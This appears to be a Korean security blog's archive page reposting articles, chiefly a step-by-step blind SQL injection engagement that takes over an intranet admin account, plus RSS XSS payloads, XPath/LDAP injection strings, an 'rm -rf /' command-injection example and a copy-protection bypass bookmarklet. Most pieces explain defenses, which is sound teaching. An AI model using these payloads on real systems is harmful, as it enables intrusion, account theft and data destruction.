Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2009/08/26 프레임을 사용하는 페이지에서 직접 페이지로 들어오는걸 막는법
  2. 2009/08/26 웹페이지 복사 방지 해지 하는 법 1
  3. 2009/08/26 v$filestat로 디스크 I/O 를 확인해보자 1
  4. 2009/08/26 MYSQL 서버 캐릭셋이 EUCKR이 아닐경우 클라이언트 설정
  5. 2009/08/26 SQL Injection 여러 유형
  6. 2009/08/26 SQL Injection을 보안하기위한 고찰
  7. 2009/08/26 Absinthe Blind SQL Injection Tool
  8. 2009/08/26 SQL Power Injector
  9. 2009/08/26 Hacking RSS and Atom Feed Implementations
  10. 2009/08/26 Malicious Code Injection: It’s Not Just for SQL Anymore
  11. 2009/08/26 웹 어플리케이션 보안 테스트 툴
  12. 2009/08/26 제로보드 취약점 총정리
  13. 2009/08/26 Advanced SQL Injection 한글판
  14. 2009/08/26 다양한 방법의 XSS 2
  15. 2009/08/26 포트 목록 PORT 목록
  16. 2009/08/26 TCP/UDP 스캔
  17. 2009/08/26 사용중인 포트검색하기
  18. 2009/08/26 로컬에 저장된 쿠키정보 보기
  19. 2009/08/26 강추! 구글검색을 이용한 해킹 방어
  20. 2009/08/26 구굴핵스
  21. 2009/08/26 태그장난
  22. 2009/08/26 Cookie Sniffing 에 사용될 수 있는 자동 공격 프로그램
  23. 2009/08/26 MHTML 취약점을 이용한 해커들의 공격
  24. 2009/08/26 WebKnight를 이용한 SQL Injection 공격 차단
  25. 2009/08/26 필터를 이용하여 HttpSevletRequest 에 validate를 추가하자!
  26. 2009/08/26 Char를 이용한 SQL Injection
  27. 2009/08/26 Web Hacking 5탄 Log Injection
  28. 2009/08/26 Web Hacking 4탄 쿠키취약점 1
  29. 2009/08/26 Web Hacking 3탄 구멍난 자바스크립트
  30. 2009/08/26 Web Hacking 2탄 파일조작 1

프레임을 사용하는 페이지에서 직접 페이지로 들어오는걸 막는법


프레임 안에 있는 각 페이지에 아래 자스소스를 넣어두면
페이지를 직접 부르는 경우 항상홈 페이지로 가게 되므로 프레임을 부르게 됩니다.

<script>


if (top == self) self.location.href = "http://www.jakartaproject.com";


</script>


from http://www.happyscript.net/Blog/view.asp?rIdx=3400&page=1&hbIdx=3427

2009/08/26 17:53 2009/08/26 17:53

주소창에 자바스크립트입력으로 복사 방지를 무력하게 하는 방법입니다.

예전부터 사용하고있는데 유용한것같아서 올립니다.

주소창에 글 붙여넣기한다음에 엔터를 치면 "ok"라고 뜬뒤로 복사 가능합니다.

javascript:function r(d){d.oncontextmenu=null;d.onselectstart=null;d.ondragstart=null;d.onkeydown=null;d.onmousedown=null; d.body.oncontextmenu=null;d.body.onselectstart=null;d.body.ondragstart=null;d.body.onkeydown=null; d.body.onmousedown=null;};function unify(w){r(w.document);if(w.frames.length>0){for(var i=0;i<w.frames.length;i++){try{unify(w.frames[i].window);}catch(e){}};};};unify(self);alert("ok");


 

2009/08/26 17:51 2009/08/26 17:51

v$filestat로 디스크 I/O 를 확인해보자


v$filestat을 조회하여 각 디스크 파일의 디스크 I/O를 확인 할 수 있습니다


--데이터파일별로 보기

SELECT  PHYRDS,         /* 수행된 물리적 읽기 수 */

             PHYWRTS,      /* 수행된 물리적 쓰기 수 */

             PHYBLKRD,     /* 물리적 블럭 읽기 수 */

             PHYBLKWRT,  /* 물리적 블럭 쓰기 수 */

             READTIM,       /* 읽기에 사용된 시간 */

             WRITETIM,      /* 쓰기에 사용된 시간 */

             NAME
  FROM  v$datafile T1,

            v$filestat T2
WHERE  T1.FILE# = T2.FILE#
;


--테이블 스페이스별로 보기

SELECT TABLESPACE_NAME,

            FILE_NAME,

            PHYRDS,

            PHYWRTS

  FROM  DBA_DATA_FILES T1,

            v$filestat T2

WHERE T1.FILE_ID = T2.FILE#
;



PHYRDS   PHYWRTS  PHYBLKRD   PHYBLKWRT   READTIM   WRITETIM    NAME
5615139     7413446       21309950       7413568           1864856       28843385     /dev/XXX_data01
3433596     2731695       3550527         2731701           987234        11328831     /dev/XXX_index01


읽기나 쓰기 쏠림 디스크가 있다면 적절히 조절해 주는것이 바람직 하다

특히 읽기가 많은 디스크의 경우에는 빠른 I/O를 위해 처리속도가 빠른 디스크에 두는것이 좋다

2009/08/26 17:50 2009/08/26 17:50

MYSQL 서버 캐릭셋이 EUCKR이 아닐경우


클라이언트 설정 파라미터

SET CHARACTER_SET_CLIENT = 'EUCKR';
SET CHARACTER_SET_RESULTS = 'EUCKR';
SET COLLATION_CONNECTION = @@COLLATION_DATABASE;

이후 한글이 잘 들어감

2009/08/26 17:49 2009/08/26 17:49

The Target Intranet

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.

The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.

When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.

So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.

We speculate that the underlying SQL code looks something like this:

SELECT fieldlist FROM table WHERE field = '$EMAIL';
Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later. 

When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:

SELECT fieldlist FROM table WHERE field = 'steve@unixwiz.net'';

when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.

Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:

SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x';

Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).

But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:


Your login information has been mailed to random.person@example.com.

Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.

We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:

  • "Your login information has been mailed to email"
  • "We don't recognize your email address"
  • Server error

The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping

The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.

So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:

SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --';

The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.

If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.

Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.

Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.

Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.

SELECT fieldlist FROM table WHERE email = 'x' AND userid IS NULL; --';

As a result of this process, we found several valid field names:

  • email
  • passwd
  • login_id
  • full_name

There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.

A standalone query of

SELECT COUNT(*) FROM tabname

Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:

SELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' AND members.email IS NULL; --';

When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users

At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.

The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.

The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.

We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Bob%';

Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.

Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.

We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'bob@example.com' AND passwd = 'hello123';

This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.

This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.

The most drastic example is:

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; DROP TABLE members; --';
-- Boom!

The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.

This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.

This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; INSERT INTO members ('email','passwd','login_id','full_name') VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';

Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:

  1. We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
  2. The web application user might not have INSERT permission on the members table.
  3. There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
  4. Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
  5. A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.

In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.

A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.

We ended up going down a different road.

Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.

From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; UPDATE members SET email = 'steve@unixwiz.net' WHERE email = 'bob@example.com';

After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.

We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:

Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.

We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.

We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

Other Approaches

In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.

We are also aware that not all approaches work with all databases, and we can touch on some of them here.

Use xp_cmdshell
Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.
What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
Map out more database structure
Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.
Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.
One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.

Mitigations

We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.

Sanitize the input
It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.
The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.
Sidebar on email addresses

It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about.

The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses.

Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.


Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
SELECT fieldlist FROM table WHERE id = 23 OR 1=1; -- Boom! Always matches!
In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.
Escape/Quotesafe the input
Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.
One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:
SELECT fieldlist FROM customers WHERE name = 'Bill O''Reilly';
-- works OK
However, this naive approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:
SELECT fieldlist FROM customers WHERE name = '\''; DROP TABLE users; --';
-- Boom!
The no_no_no_expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.
Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.
Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).
These methods must be used.
Use bound parameters (the PREPARE statement)
Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.
Later, this prepared query is "executed" with a list of parameters:
Example in perl
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);
Thanks to Stefan Wagner, this demonstrates bound parameters in Java:
Insecure version
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
                             + formField); // *boom*
Secure version
PreparedStatement ps = connection.prepareStatement(
    "SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.
There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.
Limit database permissions and segregate users
In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.
The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.
Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.
It should go almost without saying that sa rights should never be used for any web-based application.
Use stored procedures for database access
When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).
By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).
For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.
Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.
Isolate the webserver
Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.
For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.
Configure error reporting
The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.
This information is useful to developers, but it should be restricted - if possible - to just internal users.

Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.


We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspsect of the presentation.

This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.

But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.

Thanks to David Litchfield and Randal Schwartz for their technical input to this paper, and to the great Chris Mospaw for graphic design (ⓒ 2005 by Chris Mospaw, used with permission).

2009/08/26 17:48 2009/08/26 17:48

Advanced_Topics_on_SQL_Injection_Protection


1.1. Input Validation
 
 
2.2. Static query statement
 
 
3.3. Least Privilege
 
 
4.4. Code Verification
 
 
5.5. Web Application Gateway
 
 
6.6. SQL Driver Proxy
 
 
2009/08/26 17:48 2009/08/26 17:48

Absinthe is a gui-based tool that automates the process of downloading the schema & contents of a database that is vulnerable to Blind SQL Injection.


Absinthe does not aid in the discovery of SQL Injection holes. This tool will only speed up the process of data recovery.

Features:

  • Automated SQL Injection
  • Supports MS SQL Server, MSDE, Oracle, Postgres
  • Cookies / Additional HTTP Headers
  • Query Termination
  • Additional text appended to queries
  • Supports Use of Proxies / Proxy Rotation
  • Multiple filters for page profiling
  • Custom Delimiters

만들어 진지는 좀 오래되었지만 꽁짜입니다

단순히 쉽게 테스트해보기는 좋네요


injection을 삽입할 파라미터를 추가(Injectable Parameter 체크)후 Initialize Injection 버튼을 클릭하세요


2009/08/26 17:46 2009/08/26 17:46
사용자 삽입 이미지
2009/08/26 17:45 2009/08/26 17:45

Hacking RSS and Atom Feed Implementations



RSS나 ATOM같은 XML 서비스 사용에 있어서 reader가 web based feed 라면 client역시 충분히 공격받을 수 있습니다


예) no_no_javascript Injection


<?xml version="1.0" encoding="ISO-8859-1"?> <rss version="2.0"> <channel>
<title> <script>alert('Channel Title')</script>
</title>
<link>http://www.mycoolsite.com/
</link>
<description> <script>alert('Channel Description')</script> </description>
<language>en-us
</language>
<copyright>Mr Cool 2006</copyright>
<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate> <ttl>10</ttl> <image>
<title> <script>alert('Channel Image Title')</script>
</title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>

<height>33</height>
<description> <script>alert('Channel Image Description')</script> </description>
</image>
<item>
<title> <script>alert('Item Title')</script> </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> <script>alert('Item Description')</script> </description>
<pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate> <guid>http://mysite/Mrguid</guid>
</item>
</channel>
</rss>

위와같은 형태로 Javascirpt를 실행하여 불법S/W를 설치하거나, 쿠키등을 훔치게 된다


그럼 아래와 같이 만들면 어떻게 될까요?

<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0">
<channel>
<title> &lt;script&gt;alert('Channel Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/</link>
<description> &lt;script&gt;alert('Channel Description')&lt;/script&gt;
</description>
<language>en-us</language>
<copyright>Mr Cool 2006</copyright>
<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate>

<ttl>10</ttl>
<image>
<title> &lt;script&gt;alert('Channel Image Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>
<height>33</height>
<description> &lt;script&gt;alert('Channel Image Description')&lt;/script&gt;
</description>
</image>
<item>
<title> &lt;script&gt;alert('Item Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> &lt;script&gt;alert('Item Description')&lt;/script&gt; </description>
<pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate>
<guid>http://mysite/Mrguid</guid>
</item>
</channel>
</rss>

대부분의 RSS viewer들은 &lt;를 <로, &gt;를 >로 컨버팅한 후 content를 browser 기반의 component로 실행하기 때문에 위와 같이 변경한다 해도 스크립트는 실행되게 된다


기타 자세한 내용은 첨부파일을 참조하세요 ^^

2009/08/26 17:44 2009/08/26 17:44

SQL뿐 아니라 LDAP에 대한 Injection code를 소개합니다

 

Malicious Code Injection: It’s Not Just for SQL Anymore

 

 

by: Bryan Sullivan

More and more, developers are becoming aware of the threats posed by malicious code, and SQL injection in particular, and by leaving code vulnerable to such attacks. However, while SQL is the most popular type of code injection attack, there are several others that can be just as dangerous to your applications and your data, including LDAP injection and XPath injection. While these may not be as well-known to developers, they are already in the hands of hackers, and they should be of concern.


In addition, much of the common wisdom concerning remediation of malicious code injection attacks is inadequate or inaccurate. Following these flawed recommendations will not improve the security of your application, but will only leave you with a false sense of security until the next time your application is compromised and your data is stolen, erased, or tampered with. It is important for developers to acquaint themselves with all code injection types that exist as well as the proper ways to fix any vulnerabilities to malicious code.


The Basic Premise of All Code Injection Types

Many people mistakenly think that they are safe from malicious code injection attacks because they have firewalls or SSL encryption. However, while a firewall can protect you from network level attacks, and while SSL encryption can protect you from an outside user intercepting data between two points, neither of these options offers any real protection from code injection attacks. All code injection attacks work on the same principle: a hacker piggybacks malicious code onto good code through an input field in the application. Therefore, the protection instead has to come from the code within the application itself.


There are many motives that hackers using malicious code injection attacks may have. They may wish to access a website or database that was intended only for a certain set of users. They may also wish to access a database in order to steal such sensitive information as social security numbers and credit cards. Other hackers may wish to tamper with a database – lowering prices, for example, so they can steal items from an e-commerce site with ease. And once an attacker has gained access to a database by using malicious code, he may even be able to delete it completely, causing chaos for the business that has been attacked.

The root of all code injection problems is that developers put too much trust into the users of applications. A developer should never trust the user to operate the application in a safe manner. There will always be someone who is looking to use malicious code in an exploitative manner.

 

Looking Beyond SQL Injections

Aside from SQL injections, there are several other types of malicious code injection attacks with which developers must become familiar. Three of these types of dangerous malicious code injections are XPath injection, LDAP injection, and command execution injection.


An XPath injection attack is similar to an SQL injection attack, but its target is an XML document rather than an SQL database. The attacker inputs a string of malicious code meant to trick the application into providing access to protected information. If your website uses an XML (Extensible Markup Language) document to store data and user input is included in an XPath query against that document, you may be vulnerable to an XPath injection.


For example, consider the following XML document used by an e-commerce website to store customers’ order history:


<? xml version = " 1.0" encoding =" utf-8" ?>
< orders >
  < customer id = " 1" >
    < name > Bob Smith </ name >
    <email>bob.smith@bobsmithinc.com</email>
    <creditcard> 1234567812345678 </creditcard>
    <order>
      <item>
        <quantity> 1 </quantity>
        <price> 10.00 </price>
        <name> Sprocket </name>
      </item >
      <item >
        <quantity> 2 </quantity>
        <price> 9.00 </price>
        <name> Cog </name>
      </item>
    </order>
  </ customer >
  …
</ orders >


The website allows its users to search for items in their order history based on price. The XPath query that the application performs looks like this:


string query = "/orders/customer[@id='" +
customerId
+ "']/order/item[price >= '" +
priceFilter
+ "']";


If both the customerId and priceFilter values have not been properly validated, an attacker will be able to exploit the XPath injection vulnerability. Entering the following value for either value will select the entire XML document and return it to the attacker:


'] | /* | /foo[bar='


With one simple request, the attacker has stolen personal data including e-mail addresses and credit card numbers for every customer that has ever used the website. Blind XPath injection attacks, like blind SQL injection attacks, are possible, but in situations like our example they’re not even necessary. XPath queries do not throw errors when the search elements are missing from the XML document in the same way that SQL queries do when the search table or columns are missing from the SQL database. Because of the forgiving nature of XPath, it can actually be easier for an attacker to use malicious code to perform an XPath injection attack than an SQL injection attack.

 

LDAP Injection and Command Execution
Like SQL injection for SQL databases and XPath injection for XML documents, LDAP injection attacks provide the malicious user with access to an LDAP directory, through which he or she can extract information that would normally be hidden from view. For example, an attacker could possibly uncover personal or password-protected information about a professor listed in the directory of a collegiate site. A hacker using this technique may rely on monitoring the absence and presence of error messages returned from the malicious code injection to further pursue an attack.

Some examples of LDAP injection clauses are:

  • *
  • )(|(cn=*)
  • )(|(objectclass=*)
  • )(|(homedirectory=*)

Finally, command execution can also provide the means for malicious code injection. Many times, a website calls out to another program on the system to accomplish some kind of goal. For example, in a UNIX system, the finger command can be used to find out details about when a user was last on the system, for how long, and so on. A user could, in this case, attach malicious code to the finger command and gain access to the system and its data process. So, the command:

finger bobsmith
becomes:
finger bobsmith; rm –rf /

which will attempt to delete every file on the system.

 

Preventative Measures: The Good and the Bad
Several preventative actions have commonly been suggested to developers to protect applications from malicious code injection, but many of these have proven inadequate. For example, developers are told that turning off error messages can prevent code injection attacks, which is untrue. Some code injection attacks do not rely on error messages at all. These attacks are called “blind” injections. Since blind injection attacks can succeed even if error messages are suppressed, turning off error messages simply makes the application more obscure for the legitimate user while leaving data vulnerable to attack.


